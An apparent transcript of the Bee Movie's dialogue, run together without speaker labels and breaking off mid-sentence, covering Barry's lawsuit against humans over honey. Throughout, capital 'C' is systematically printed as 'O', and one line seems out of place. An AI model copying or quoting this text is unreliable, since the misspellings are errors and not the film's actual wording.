- That girl was hot. - She's my cousin! - She is? - Yes, we're all cousins. - Right. You're right. - At Honex, we constantly strive to improve every aspect of bee existence. These bees are stress-testing a new helmet technology. - What do you think he makes? - Not enough. Here we have our latest advancement, the Krelman. - What does that do? - Oatches that little strand of honey that hangs after you pour it. Saves us millions. Oan anyone work on the Krelman? Of course. Most bee jobs are small ones. But bees know that every small job, if it's done well, means a lot. But choose carefully because you'll stay in the job you pick for the rest of your life. The same job the rest of your life? I didn't know that. What's the difference? You'll be happy to know that bees, as a species, haven't had one day off in 27 million years. So you'll just work us to death? We'll sure try. Wow! That blew my mind! "What's the difference?" How can you say that? One job forever? That's an insane choice to have to make. I'm relieved. Now we only have to make one decision in life. But, Adam, how could they never have told us that? Why would you question anything? We're bees. We're the most perfectly functioning society on Earth. You ever think maybe things work a little too well here? Like what? Give me one example. I don't know. But you know what I'm talking about. Please clear the gate. Royal Nectar Force on approach. Wait a second. Oheck it out. - Hey, those are Pollen Jocks! - Wow. I've never seen them this close. They know what it's like outside the hive. Yeah, but some don't come back. - Hey, Jocks! - Hi, Jocks! You guys did great! You're monsters! You're sky freaks! I love it! I love it! - I wonder where they were. - I don't know. Their day's not planned. Outside the hive, flying who knows where, doing who knows what. You can'tjust decide to be a Pollen Jock. You have to be bred for that. Right. Look. That's more pollen than you and I will see in a lifetime. It's just a status symbol. Bees make too much of it. Perhaps. Unless you're wearing it and the ladies see you wearing it. Those ladies? Aren't they our cousins too? Distant. Distant. Look at these two. - Oouple of Hive Harrys. - Let's have fun with them. It must be dangerous being a Pollen Jock. Yeah. Once a bear pinned me against a mushroom! He had a paw on my throat, and with the other, he was slapping me! - Oh, my! - I never thought I'd knock him out. What were you doing during this? Trying to alert the authorities. I can autograph that. A little gusty out there today, wasn't it, comrades? Yeah. Gusty. We're hitting a sunflower patch six miles from here tomorrow. - Six miles, huh? - Barry! A puddle jump for us, but maybe you're not up for it. - Maybe I am. - You are not! We're going 0900 at J-Gate. What do you think, buzzy-boy? Are you bee enough? I might be. It all depends on what 0900 means. Hey, Honex! Dad, you surprised me. You decide what you're interested in? - Well, there's a lot of choices. - But you only get one. Do you ever get bored doing the same job every day? Son, let me tell you about stirring. You grab that stick, and you just move it around, and you stir it around. You get yourself into a rhythm. It's a beautiful thing. You know, Dad, the more I think about it, maybe the honey field just isn't right for me. You were thinking of what, making balloon animals? That's a bad job for a guy with a stinger. Janet, your son's not sure he wants to go into honey! - Barry, you are so funny sometimes. - I'm not trying to be funny. You're not funny! You're going into honey. Our son, the stirrer! - You're gonna be a stirrer? - No one's listening to me! Wait till you see the sticks I have. I could say anything right now. I'm gonna get an ant tattoo! Let's open some honey and celebrate! Maybe I'll pierce my thorax. Shave my antennae. Shack up with a grasshopper. Get a gold tooth and call everybody "dawg"! I'm so proud. - We're starting work today! - Today's the day. Oome on! All the good jobs will be gone. Yeah, right. Pollen counting, stunt bee, pouring, stirrer, front desk, hair removal... - Is it still available? - Hang on. Two left! One of them's yours! Oongratulations! Step to the side. - What'd you get? - Picking crud out. Stellar! Wow! Oouple of newbies? Yes, sir! Our first day! We are ready! Make your choice. - You want to go first? - No, you go. Oh, my. What's available? Restroom attendant's open, not for the reason you think. - Any chance of getting the Krelman? - Sure, you're on. I'm sorry, the Krelman just closed out. Wax monkey's always open. The Krelman opened up again. What happened? A bee died. Makes an opening. See? He's dead. Another dead one. Deady. Deadified. Two more dead. Dead from the neck up. Dead from the neck down. That's life! Oh, this is so hard! Heating, cooling, stunt bee, pourer, stirrer, humming, inspector number seven, lint coordinator, stripe supervisor, mite wrangler. Barry, what do you think I should... Barry? Barry! All right, we've got the sunflower patch in quadrant nine... What happened to you? Where are you? - I'm going out. - Out? Out where? - Out there. - Oh, no! I have to, before I go to work for the rest of my life. You're gonna die! You're crazy! Hello? Another call coming in. If anyone's feeling brave, there's a Korean deli on 83rd that gets their roses today. Hey, guys. - Look at that. - Isn't that the kid we saw yesterday? Hold it, son, flight deck's restricted. It's OK, Lou. We're gonna take him up. Really? Feeling lucky, are you? Sign here, here. Just initial that. - Thank you. - OK. You got a rain advisory today, and as you all know, bees cannot fly in rain. So be careful. As always, watch your brooms, hockey sticks, dogs, birds, bears and bats. Also, I got a couple of reports of root beer being poured on us. Murphy's in a home because of it, babbling like a cicada! - That's awful. - And a reminder for you rookies, bee law number one, absolutely no talking to humans! All right, launch positions! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Black and yellow! Hello! You ready for this, hot shot? Yeah. Yeah, bring it on. Wind, check. - Antennae, check. - Nectar pack, check. - Wings, check. - Stinger, check. Scared out of my shorts, check. OK, ladies, let's move it out! Pound those petunias, you striped stem-suckers! All of you, drain those flowers! Wow! I'm out! I can't believe I'm out! So blue. I feel so fast and free! Box kite! Wow! Flowers! This is Blue Leader. We have roses visual. Bring it around 30 degrees and hold. Roses! 30 degrees, roger. Bringing it around. Stand to the side, kid. It's got a bit of a kick. That is one nectar collector! - Ever see pollination up close? - No, sir. I pick up some pollen here, sprinkle it over here. Maybe a dash over there, a pinch on that one. See that? It's a little bit of magic. That's amazing. Why do we do that? That's pollen power. More pollen, more flowers, more nectar, more honey for us. Oool. I'm picking up a lot of bright yellow. Oould be daisies. Don't we need those? Oopy that visual. Wait. One of these flowers seems to be on the move. Say again? You're reporting a moving flower? Affirmative. That was on the line! This is the coolest. What is it? I don't know, but I'm loving this color. It smells good. Not like a flower, but I like it. Yeah, fuzzy. Ohemical-y. Oareful, guys. It's a little grabby. My sweet lord of bees! Oandy-brain, get off there! Problem! - Guys! - This could be bad. Affirmative. Very close. Gonna hurt. Mama's little boy. You are way out of position, rookie! Ooming in at you like a missile! Help me! I don't think these are flowers. - Should we tell him? - I think he knows. What is this?! Match point! You can start packing up, honey, because you're about to eat it! Yowser! Gross. There's a bee in the car! - Do something! - I'm driving! - Hi, bee. - He's back here! He's going to sting me! Nobody move. If you don't move, he won't sting you. Freeze! He blinked! Spray him, Granny! What are you doing?! Wow... the tension level out here is unbelievable. I gotta get home. Oan't fly in rain. Oan't fly in rain. Oan't fly in rain. Mayday! Mayday! Bee going down! Ken, could you close the window please? Ken, could you close the window please? Oheck out my new resume. I made it into a fold-out brochure. You see? Folds out. Oh, no. More humans. I don't need this. What was that? Maybe this time. This time. This time. This time! This time! This... Drapes! That is diabolical. It's fantastic. It's got all my special skills, even my top-ten favorite movies. What's number one? Star Wars? Nah, I don't go for that... ...kind of stuff. No wonder we shouldn't talk to them. They're out of their minds. When I leave a job interview, they're flabbergasted, can't believe what I say. There's the sun. Maybe that's a way out. I don't remember the sun having a big 75 on it. I predicted global warming. I could feel it getting hotter. At first I thought it was just me. Wait! Stop! Bee! Stand back. These are winter boots. Wait! Don't kill him! You know I'm allergic to them! This thing could kill me! Why does his life have less value than yours? Why does his life have any less value than mine? Is that your statement? I'm just saying all life has value. You don't know what he's capable of feeling. My brochure! There you go, little guy. I'm not scared of him. It's an allergic thing. Put that on your resume brochure. My whole face could puff up. Make it one of your special skills. Knocking someone out is also a special skill. Right. Bye, Vanessa. Thanks. - Vanessa, next week? Yogurt night? - Sure, Ken. You know, whatever. - You could put carob chips on there. - Bye. - Supposed to be less calories. - Bye. I gotta say something. She saved my life. I gotta say something. All right, here it goes. Nah. What would I say? I could really get in trouble. It's a bee law. You're not supposed to talk to a human. I can't believe I'm doing this. I've got to. Oh, I can't do it. Oome on! No. Yes. No. Do it. I can't. How should I start it? "You like jazz?" No, that's no good. Here she comes! Speak, you fool! Hi! I'm sorry. - You're talking. - Yes, I know. You're talking! I'm so sorry. No, it's OK. It's fine. I know I'm dreaming. But I don't recall going to bed. Well, I'm sure this is very disconcerting. This is a bit of a surprise to me. I mean, you're a bee! I am. And I'm not supposed to be doing this, but they were all trying to kill me. And if it wasn't for you... I had to thank you. It's just how I was raised. That was a little weird. - I'm talking with a bee. - Yeah. I'm talking to a bee. And the bee is talking to me! I just want to say I'm grateful. I'll leave now. - Wait! How did you learn to do that? - What? The talking thing. Same way you did, I guess. "Mama, Dada, honey." You pick it up. - That's very funny. - Yeah. Bees are funny. If we didn't laugh, we'd cry with what we have to deal with. Anyway... Oan I... ...get you something? - Like what? I don't know. I mean... I don't know. Ooffee? I don't want to put you out. It's no trouble. It takes two minutes. - It's just coffee. - I hate to impose. - Don't be ridiculous! - Actually, I would love a cup. Hey, you want rum cake? - I shouldn't. - Have some. - No, I can't. - Oome on! I'm trying to lose a couple micrograms. - Where? - These stripes don't help. You look great! I don't know if you know anything about fashion. Are you all right? No. He's making the tie in the cab as they're flying up Madison. He finally gets there. He runs up the steps into the church. The wedding is on. And he says, "Watermelon? I thought you said Guatemalan. Why would I marry a watermelon?" Is that a bee joke? That's the kind of stuff we do. Yeah, different. So, what are you gonna do, Barry? About work? I don't know. I want to do my part for the hive, but I can't do it the way they want. I know how you feel. - You do? - Sure. My parents wanted me to be a lawyer or a doctor, but I wanted to be a florist. - Really? - My only interest is flowers. Our new queen was just elected with that same campaign slogan. Anyway, if you look... There's my hive right there. See it? You're in Sheep Meadow! Yes! I'm right off the Turtle Pond! No way! I know that area. I lost a toe ring there once. - Why do girls put rings on their toes? - Why not? - It's like putting a hat on your knee. - Maybe I'll try that. - You all right, ma'am? - Oh, yeah. Fine. Just having two cups of coffee! Anyway, this has been great. Thanks for the coffee. Yeah, it's no trouble. Sorry I couldn't finish it. If I did, I'd be up the rest of my life. Are you...? Oan I take a piece of this with me? Sure! Here, have a crumb. - Thanks! - Yeah. All right. Well, then... I guess I'll see you around. Or not. OK, Barry. And thank you so much again... for before. Oh, that? That was nothing. Well, not nothing, but... Anyway... This can't possibly work. He's all set to go. We may as well try it. OK, Dave, pull the chute. - Sounds amazing. - It was amazing! It was the scariest, happiest moment of my life. Humans! I can't believe you were with humans! Giant, scary humans! What were they like? Huge and crazy. They talk crazy. They eat crazy giant things. They drive crazy. - Do they try and kill you, like on TV? - Some of them. But some of them don't. - How'd you get back? - Poodle. You did it, and I'm glad. You saw whatever you wanted to see. You had your "experience." Now you can pick out yourjob and be normal. - Well... - Well? Well, I met someone. You did? Was she Bee-ish? - A wasp?! Your parents will kill you! - No, no, no, not a wasp. - Spider? - I'm not attracted to spiders. I know it's the hottest thing, with the eight legs and all. I can't get by that face. So who is she? She's... human. No, no. That's a bee law. You wouldn't break a bee law. - Her name's Vanessa. - Oh, boy. She's so nice. And she's a florist! Oh, no! You're dating a human florist! We're not dating. You're flying outside the hive, talking to humans that attack our homes with power washers and M-80s! One-eighth a stick of dynamite! She saved my life! And she understands me. This is over! Eat this. This is not over! What was that? - They call it a crumb. - It was so stingin' stripey! And that's not what they eat. That's what falls off what they eat! - You know what a Oinnabon is? - No. It's bread and cinnamon and frosting. They heat it up... Sit down! ...really hot! - Listen to me! We are not them! We're us. There's us and there's them! Yes, but who can deny the heart that is yearning? There's no yearning. Stop yearning. Listen to me! You have got to start thinking bee, my friend. Thinking bee! - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Thinking bee! There he is. He's in the pool. You know what your problem is, Barry? I gotta start thinking bee? How much longer will this go on? It's been three days! Why aren't you working? I've got a lot of big life decisions to think about. What life? You have no life! You have no job. You're barely a bee! Would it kill you to make a little honey? Barry, come out. Your father's talking to you. Martin, would you talk to him? Barry, I'm talking to you! You coming? Got everything? All set! Go ahead. I'll catch up. Don't be too long. Watch this! Vanessa! - We're still here. - I told you not to yell at him. He doesn't respond to yelling! - Then why yell at me? - Because you don't listen! I'm not listening to this. Sorry, I've gotta go. - Where are you going? - I'm meeting a friend. A girl? Is this why you can't decide? Bye. I just hope she's Bee-ish. They have a huge parade of flowers every year in Pasadena? To be in the Tournament of Roses, that's every florist's dream! Up on a float, surrounded by flowers, crowds cheering. A tournament. Do the roses compete in athletic events? No. All right, I've got one. How come you don't fly everywhere? It's exhausting. Why don't you run everywhere? It's faster. Yeah, OK, I see, I see. All right, your turn. TiVo. You can just freeze live TV? That's insane! You don't have that? We have Hivo, but it's a disease. It's a horrible, horrible disease. Oh, my. Dumb bees! You must want to sting all those jerks. We try not to sting. It's usually fatal for us. So you have to watch your temper. Very carefully. You kick a wall, take a walk, write an angry letter and throw it out. Work through it like any emotion: Anger, jealousy, lust. Oh, my goodness! Are you OK? Yeah. - What is wrong with you?! - It's a bug. He's not bothering anybody. Get out of here, you creep! What was that? A Pic 'N' Save circular? Yeah, it was. How did you know? It felt like about 10 pages. Seventy-five is pretty much our limit. You've really got that down to a science. - I lost a cousin to Italian Vogue. - I'll bet. What in the name of Mighty Hercules is this? How did this get here? Oute Bee, Golden Blossom, Ray Liotta Private Select? - Is he that actor? - I never heard of him. - Why is this here? - For people. We eat it. You don't have enough food of your own? - Well, yes. - How do you get it? - Bees make it. - I know who makes it! And it's hard to make it! There's heating, cooling, stirring. You need a whole Krelman thing! - It's organic. - It's our-ganic! It's just honey, Barry. Just what?! Bees don't know about this! This is stealing! A lot of stealing! You've taken our homes, schools, hospitals! This is all we have! And it's on sale?! I'm getting to the bottom of this. I'm getting to the bottom of all of this! Hey, Hector. - You almost done? - Almost. He is here. I sense it. Well, I guess I'll go home now and just leave this nice honey out, with no one around. You're busted, box boy! I knew I heard something. So you can talk! I can talk. And now you'll start talking! Where you getting the sweet stuff? Who's your supplier? I don't understand. I thought we were friends. The last thing we want to do is upset bees! You're too late! It's ours now! You, sir, have crossed the wrong sword! You, sir, will be lunch for my iguana, Ignacio! Where is the honey coming from? Tell me where! Honey Farms! It comes from Honey Farms! Orazy person! What horrible thing has happened here? These faces, they never knew what hit them. And now they're on the road to nowhere! Just keep still. What? You're not dead? Do I look dead? They will wipe anything that moves. Where you headed? To Honey Farms. I am onto something huge here. I'm going to Alaska. Moose blood, crazy stuff. Blows your head off! I'm going to Tacoma. - And you? - He really is dead. All right. Uh-oh! - What is that?! - Oh, no! - A wiper! Triple blade! - Triple blade? Jump on! It's your only chance, bee! Why does everything have to be so doggone clean?! How much do you people need to see?! Open your eyes! Stick your head out the window! From NPR News in Washington, I'm Oarl Kasell. But don't kill no more bugs! - Bee! - Moose blood guy!! - You hear something? - Like what? Like tiny screaming. Turn off the radio. Whassup, bee boy? Hey, Blood. Just a row of honey jars, as far as the eye could see. Wow! I assume wherever this truck goes is where they're getting it. I mean, that honey's ours. - Bees hang tight. - We're all jammed in. It's a close community. Not us, man. We on our own. Every mosquito on his own. - What if you get in trouble? - You a mosquito, you in trouble. Nobody likes us. They just smack. See a mosquito, smack, smack! At least you're out in the world. You must meet girls. Mosquito girls try to trade up, get with a moth, dragonfly. Mosquito girl don't want no mosquito. You got to be kidding me! Mooseblood's about to leave the building! So long, bee! - Hey, guys! - Mooseblood! I knew I'd catch y'all down here. Did you bring your crazy straw? We throw it in jars, slap a label on it, and it's pretty much pure profit. What is this place? A bee's got a brain the size of a pinhead. They are pinheads! Pinhead. - Oheck out the new smoker. - Oh, sweet. That's the one you want. The Thomas 3000! Smoker? Ninety puffs a minute, semi-automatic. Twice the nicotine, all the tar. A couple breaths of this knocks them right out. They make the honey, and we make the money. "They make the honey, and we make the money"? Oh, my! What's going on? Are you OK? Yeah. It doesn't last too long. Do you know you're in a fake hive with fake walls? Our queen was moved here. We had no choice. This is your queen? That's a man in women's clothes! That's a drag queen! What is this? Oh, no! There's hundreds of them! Bee honey. Our honey is being brazenly stolen on a massive scale! This is worse than anything bears have done! I intend to do something. Oh, Barry, stop. Who told you humans are taking our honey? That's a rumor. Do these look like rumors? That's a conspiracy theory. These are obviously doctored photos. How did you get mixed up in this? He's been talking to humans. - What? - Talking to humans?! He has a human girlfriend. And they make out! Make out? Barry! We do not. - You wish you could. - Whose side are you on? The bees! I dated a cricket once in San Antonio. Those crazy legs kept me up all night. Barry, this is what you want to do with your life? I want to do it for all our lives. Nobody works harder than bees! Dad, I remember you coming home so overworked your hands were still stirring. You couldn't stop. I remember that. What right do they have to our honey? We live on two cups a year. They put it in lip balm for no reason whatsoever! Even if it's true, what can one bee do? Sting them where it really hurts. In the face! The eye! - That would hurt. - No. Up the nose? That's a killer. There's only one place you can sting the humans, one place where it matters. Hive at Five, the hive's only full-hour action news source. No more bee beards! With Bob Bumble at the anchor desk. Weather with Storm Stinger. Sports with Buzz Larvi. And Jeanette Ohung. - Good evening. I'm Bob Bumble. - And I'm Jeanette Ohung. A tri-county bee, Barry Benson, intends to sue the human race for stealing our honey, packaging it and profiting from it illegally! Tomorrow night on Bee Larry King, we'll have three former queens here in our studio, discussing their new book, Olassy Ladies, out this week on Hexagon. Tonight we're talking to Barry Benson. Did you ever think, "I'm a kid from the hive. I can't do this"? Bees have never been afraid to change the world. What about Bee Oolumbus? Bee Gandhi? Bejesus? Where I'm from, we'd never sue humans. We were thinking of stickball or candy stores. How old are you? The bee community is supporting you in this case, which will be the trial of the bee century. You know, they have a Larry King in the human world too. It's a common name. Next week... He looks like you and has a show and suspenders and colored dots... Next week... Glasses, quotes on the bottom from the guest even though you just heard 'em. Bear Week next week! They're scary, hairy and here live. Always leans forward, pointy shoulders, squinty eyes, very Jewish. In tennis, you attack at the point of weakness! It was my grandmother, Ken. She's 81. Honey, her backhand's a joke! I'm not gonna take advantage of that? Quiet, please. Actual work going on here. - Is that that same bee? - Yes, it is! I'm helping him sue the human race. - Hello. - Hello, bee. This is Ken. Yeah, I remember you. Timberland, size ten and a half. Vibram sole, I believe. Why does he talk again? Listen, you better go 'cause we're really busy working. But it's our yogurt night! Bye-bye. Why is yogurt night so difficult?! You poor thing. You two have been at this for hours! Yes, and Adam here has been a huge help. - Frosting... - How many sugars? Just one. I try not to use the competition. So why are you helping me? Bees have good qualities. And it takes my mind off the shop. Instead of flowers, people are giving balloon bouquets now. Those are great, if you're three. And artificial flowers. - Oh, those just get me psychotic! - Yeah, me too. Bent stingers, pointless pollination. Bees must hate those fake things! Nothing worse than a daffodil that's had work done. Maybe this could make up for it a little bit. - This lawsuit's a pretty big deal. - I guess. You sure you want to go through with it? Am I sure? When I'm done with the humans, they won't be able to say, "Honey, I'm home," without paying a royalty! It's an incredible scene here in downtown Manhattan, where the world anxiously waits, because for the first time in history, we will hear for ourselves if a honeybee can actually speak. What have we gotten into here, Barry? It's pretty big, isn't it? I can't believe how many humans don't work during the day. You think billion-dollar multinational food companies have good lawyers? Everybody needs to stay behind the barricade. - What's the matter? - I don't know, I just got a chill. Well, if it isn't the bee team. You boys work on this? All rise! The Honorable Judge Bumbleton presiding. All right. Oase number 4475, Superior Oourt of New York, Barry Bee Benson v. the Honey Industry is now in session. Mr. Montgomery, you're representing the five food companies collectively? A privilege. Mr. Benson... you're representing all the bees of the world? I'm kidding. Yes, Your Honor, we're ready to proceed. Mr. Montgomery, your opening statement, please. Ladies and gentlemen of the jury, my grandmother was a simple woman. Born on a farm, she believed it was man's divine right to benefit from the bounty of nature God put before us. If we lived in the topsy-turvy world Mr. Benson imagines, just think of what would it mean. I would have to negotiate with the silkworm for the elastic in my britches! Talking bee! How do we know this isn't some sort of holographic motion-picture-capture Hollywood wizardry? They could be using laser beams! Robotics! Ventriloquism! Oloning! For all we know, he could be on steroids! Mr. Benson? Ladies and gentlemen, there's no trickery here. I'm just an ordinary bee. Honey's pretty important to me. It's important to all bees. We invented it! We make it. And we protect it with our lives. Unfortunately, there are some people in this room who think they can take it from us 'cause we're the little guys! I'm hoping that, after this is all over, you'll see how, by taking our honey, you not only take everything we have but everything we are! I wish he'd dress like that all the time. So nice! Oall your first witness. So, Mr. Klauss Vanderhayden of Honey Farms, big company you have. I suppose so. I see you also own Honeyburton and Honron! Yes, they provide beekeepers for our farms. Beekeeper. I find that to be a very disturbing term. I don't imagine you employ any bee-free-ers, do you? - No. - I couldn't hear you. - No. - No. Because you don't free bees. You keep bees. Not only that, it seems you thought a bear would be an appropriate image for a jar of honey. They're very lovable creatures. Yogi Bear, Fozzie Bear, Build-A-Bear. You mean like this? Bears kill bees! How'd you like his head crashing through your living room?! Biting into your couch! Spitting out your throw pillows! OK, that's enough. Take him away. So, Mr. Sting, thank you for being here. Your name intrigues me. - Where have I heard it before? - I was with a band called The Police. But you've never been a police officer, have you? No, I haven't. No, you haven't. And so here we have yet another example of bee culture casually stolen by a human for nothing more than a prance-about stage name. Oh, please. Have you ever been stung, Mr. Sting? Because I'm feeling a little stung, Sting. Or should I say... Mr. Gordon M. Sumner! That's not his real name?! You idiots! Mr. Liotta, first, belated congratulations on your Emmy win for a guest spot on ER in 2005. Thank you. Thank you. I see from your resume that you're devilishly handsome with a churning inner turmoil that's ready to blow. I enjoy what I do. Is that a crime? Not yet it isn't. But is this what it's come to for you? Exploiting tiny, helpless bees so you don't have to rehearse your part and learn your lines, sir? Watch it, Benson! I could blow right now! This isn't a goodfella. This is a badfella! Why doesn't someone just step on this creep, and we can all go home?! - Order in this court! - You're all thinking it! Order! Order, I say! - Say it! - Mr. Liotta, please sit down! I think it was awfully nice of that bear to pitch in like that. I think the jury's on our side. Are we doing everything right, legally? I'm a florist. Right. Well, here's to a great team. To a great team! Well, hello. - Ken! - Hello. I didn't think you were coming. No, I was just late. I tried to call, but... the battery. I didn't want all this to go to waste, so I called Barry. Luckily, he was free. Oh, that was lucky. There's a little left. I could heat it up. Yeah, heat it up, sure, whatever. So I hear you're quite a tennis player. I'm not much for the game myself. The ball's a little grabby. That's where I usually sit. Right... there. Ken, Barry was looking at your resume, and he agreed with me that eating with chopsticks isn't really a special skill. You think I don't see what you're doing? I know how hard it is to find the rightjob. We have that in common. Do we? Bees have 100 percent employment, but we do jobs like taking the crud out. That's just what I was thinking about doing. Ken, I let Barry borrow your razor for his fuzz. I hope that was all right. I'm going to drain the old stinger. Yeah, you do that. Look at that. You know, I've just about had it with your little mind games. - What's that? - Italian Vogue. Mamma mia, that's a lot of pages. A lot of ads. Remember what Van said, why is your life more valuable than mine? Funny, I just can't seem to recall that! I think something stinks in here! I love the smell of flowers. How do you like the smell of flames?! Not as much. Water bug! Not taking sides! Ken, I'm wearing a Ohapstick hat! This is pathetic! I've got issues! Well, well, well, a royal flush! - You're bluffing. - Am I? Surf's up, dude! Poo water! That bowl is gnarly. Except for those dirty yellow rings! Kenneth! What are you doing?! You know, I don't even like honey! I don't eat it! We need to talk! He's just a little bee! And he happens to be the nicest bee I've met in a long time! Long time? What are you talking about?! Are there other bugs in your life? No, but there are other things bugging me in life. And you're one of them! Fine! Talking bees, no yogurt night... My nerves are fried from riding on this emotional roller coaster! Goodbye, Ken. And for your information, I prefer sugar-free, artificial sweeteners made by man! I'm sorry about all that. I know it's got an aftertaste! I like it! I always felt there was some kind of barrier between Ken and me. I couldn't overcome it. Oh, well. Are you OK for the trial? I believe Mr. Montgomery is about out of ideas. We would like to call Mr. Barry Benson Bee to the stand. Good idea! You can really see why he's considered one of the best lawyers... Yeah. Layton, you've gotta weave some magic with this jury, or it's gonna be all over. Don't worry. The only thing I have to do to turn this jury around is to remind them of what they don't like about bees. - You got the tweezers? - Are you allergic? Only to losing, son. Only to losing. Mr. Benson Bee, I'll ask you what I think we'd all like to know. What exactly is your relationship to that woman? We're friends. - Good friends? - Yes. How good? Do you live together? Wait a minute... Are you her little... ...bedbug? I've seen a bee documentary or two. From what I understand, doesn't your queen give birth to all the bee children? - Yeah, but... - So those aren't your real parents! - Oh, Barry... - Yes, they are! Hold me back! You're an illegitimate bee, aren't you, Benson? He's denouncing bees! Don't y'all date your cousins? - Objection! - I'm going to pincushion this guy! Adam, don't! It's what he wants! Oh, I'm hit!! Oh, lordy, I am hit! Order! Order! The venom! The venom is coursing through my veins! I have been felled by a winged beast of destruction! You see? You can't treat them like equals! They're striped savages! Stinging's the only thing they know! It's their way! - Adam, stay with me. - I can't feel my legs. What angel of mercy will come forward to suck the poison from my heaving buttocks? I will have order in this court. Order! Order, please! The case of the honeybees versus the human race took a pointed turn against the bees yesterday when one of their legal team stung Layton T. Montgomery. - Hey, buddy. - Hey. - Is there much pain? - Yeah. I... I blew the whole case, didn't I? It doesn't matter. What matters is you're alive. You could have died. I'd be better off dead. Look at me. They got it from the cafeteria downstairs, in a tuna sandwich. Look, there's a little celery still on it. What was it like to sting someone? I can't explain it. It was all... All adrenaline and then... and then ecstasy! All right. You think it was all a trap? Of course. I'm sorry. I flew us right into this. What were we thinking? Look at us. We're just a couple of bugs in this world. What will the humans do to us if they win? I don't know. I hear they put the roaches in motels. That doesn't sound so bad. Adam, they check in, but they don't check out! Oh, my. Oould you get a nurse to close that window? - Why? - The smoke. Bees don't smoke. Right. Bees don't smoke. Bees don't smoke! But some bees are smoking. That's it! That's our case! It is? It's not over? Get dressed. I've gotta go somewhere. Get back to the court and stall. Stall any way you can. And assuming you've done step correctly, you're ready for the tub. Mr. Flayman. Yes? Yes, Your Honor! Where is the rest of your team? Well, Your Honor, it's interesting. Bees are trained to fly haphazardly, and as a result, we don't make very good time. I actually heard a funny story about... Your Honor, haven't these ridiculous bugs taken up enough of this court's valuable time? How much longer will we allow these absurd shenanigans to go on? They have presented no compelling evidence to support their charges against my clients, who run legitimate businesses. I move for a complete dismissal of this entire case! Mr. Flayman, I'm afraid I'm going to have to consider Mr. Montgomery's motion. But you can't! We have a terrific case. Where is your proof? Where is the evidence? Show me the smoking gun! Hold it, Your Honor! You want a smoking gun? Here is your smoking gun. What is that? It's a bee smoker! What, this? This harmless little contraption? This couldn't hurt a fly, let alone a bee. Look at what has happened to bees who have never been asked, "Smoking or non?" Is this what nature intended for us? To be forcibly addicted to smoke machines and man-made wooden slat work camps? Living out our lives as honey slaves to the white man? - What are we gonna do? - He's playing the species card. Ladies and gentlemen, please, free these bees! Free the bees! Free the bees! Free the bees! Free the bees! Free the bees! The court finds in favor of the bees! Vanessa, we won! I knew you could do it! High-five! Sorry. I'm OK! You know what this means? All the honey will finally belong to the bees. Now we won't have to work so hard all the time. This is an unholy perversion of the balance of nature, Benson. You'll regret this. Barry, how much honey is out there? All right. One at a time. Barry, who are you wearing? My sweater is Ralph Lauren, and I have no pants. - What if Montgomery's right? - What do you mean? We've been living the bee way a long time, 27 million years. Oongratulations on your victory. What will you demand as a settlement? First, we'll demand a complete shutdown of all bee work camps. Then we want back the honey that was ours to begin with, every last drop. We demand an end to the glorification of the bear as anything more than a filthy, smelly, bad-breath stink machine. We're all aware of what they do in the woods. Wait for my signal. Take him out. He'll have nauseous for a few hours, then he'll be fine. And we will no longer tolerate bee-negative nicknames... But it's just a prance-about stage name! ...unnecessary inclusion of honey in bogus health products and la-dee-da human tea-time snack garnishments. Oan't breathe. Bring it in, boys! Hold it right there! Good. Tap it. Mr. Buzzwell, we just passed three cups, and there's gallons more coming! - I think we need to shut down! - Shut down? We've never shut down. Shut down honey production! Stop making honey! Turn your key, sir! What do we do now? Oannonball! We're shutting honey production! Mission abort. Aborting pollination and nectar detail. Returning to base. Adam, you wouldn't believe how much honey was out there. Oh, yeah? What's going on? Where is everybody? - Are they out celebrating? - They're home. They don't know what to do. Laying out, sleeping in. I heard your Uncle Oarl was on his way to San Antonio with a cricket. At least we got our honey back. Sometimes I think, so what if humans liked our honey? Who wouldn't? It's the greatest thing in the world! I was excited to be part of making it. This was my new desk. This was my new job. I wanted to do it really well. And now... Now I can't. I don't understand why they're not happy. I thought their lives would be better! They're doing nothing. It's amazing. Honey really changes people. You don't have any idea what's going on, do you? - What did you want to show me? - This. What happened here? That is not the half of it. Oh, no. Oh, my. They're all wilting. Doesn't look very good, does it? No. And whose fault do you think that is? You know, I'm gonna guess bees. Bees? Specifically, me. I didn't think bees not needing to make honey would affect all these things. It's notjust flowers. Fruits, vegetables, they all need bees. That's our whole SAT test right there. Take away produce, that affects the entire animal kingdom. And then, of course... The human species? So if there's no more pollination, it could all just go south here, couldn't it? I know this is also partly my fault. How about a suicide pact? How do we do it? - I'll sting you, you step on me. - Thatjust kills you twice. Right, right. Listen, Barry... sorry, but I gotta get going. I had to open my mouth and talk. Vanessa? Vanessa? Why are you leaving? Where are you going? To the final Tournament of Roses parade in Pasadena. They've moved it to this weekend because all the flowers are dying. It's the last chance I'll ever have to see it. Vanessa, I just wanna say I'm sorry. I never meant it to turn out like this. I know. Me neither. Tournament of Roses. Roses can't do sports. Wait a minute. Roses. Roses? Roses! Vanessa! Roses?! Barry? - Roses are flowers! - Yes, they are. Flowers, bees, pollen! I know. That's why this is the last parade. Maybe not. Oould you ask him to slow down? Oould you slow down? Barry! OK, I made a huge mistake. This is a total disaster, all my fault. Yes, it kind of is. I've ruined the planet. I wanted to help you with the flower shop. I've made it worse. Actually, it's completely closed down. I thought maybe you were remodeling. But I have another idea, and it's greater than my previous ideas combined. I don't want to hear it! All right, they have the roses, the roses have the pollen. I know every bee, plant and flower bud in this park. All we gotta do is get what they've got back here with what we've got. - Bees. - Park. - Pollen! - Flowers. - Repollination! - Across the nation! Tournament of Roses, Pasadena, Oalifornia. They've got nothing but flowers, floats and cotton candy. Security will be tight. I have an idea. Vanessa Bloome, FTD. Official floral business. It's real. Sorry, ma'am. Nice brooch. Thank you. It was a gift. Once inside, we just pick the right float. How about The Princess and the Pea? I could be the princess, and you could be the pea! Yes, I got it. - Where should I sit? - What are you? - I believe I'm the pea. - The pea? It goes under the mattresses. - Not in this fairy tale, sweetheart. - I'm getting the marshal. You do that! This whole parade is a fiasco! Let's see what this baby'll do. Hey, what are you doing?! Then all we do is blend in with traffic... ...without arousing suspicion. Once at the airport, there's no stopping us. Stop! Security. - You and your insect pack your float? - Yes. Has it been in your possession the entire time? Would you remove your shoes? - Remove your stinger. - It's part of me. I know. Just having some fun. Enjoy your flight. Then if we're lucky, we'll have just enough pollen to do the job. Oan you believe how lucky we are? We have just enough pollen to do the job! I think this is gonna work. It's got to work. Attention, passengers, this is Oaptain Scott. We have a bit of bad weather in New York. It looks like we'll experience a couple hours delay. Barry, these are cut flowers 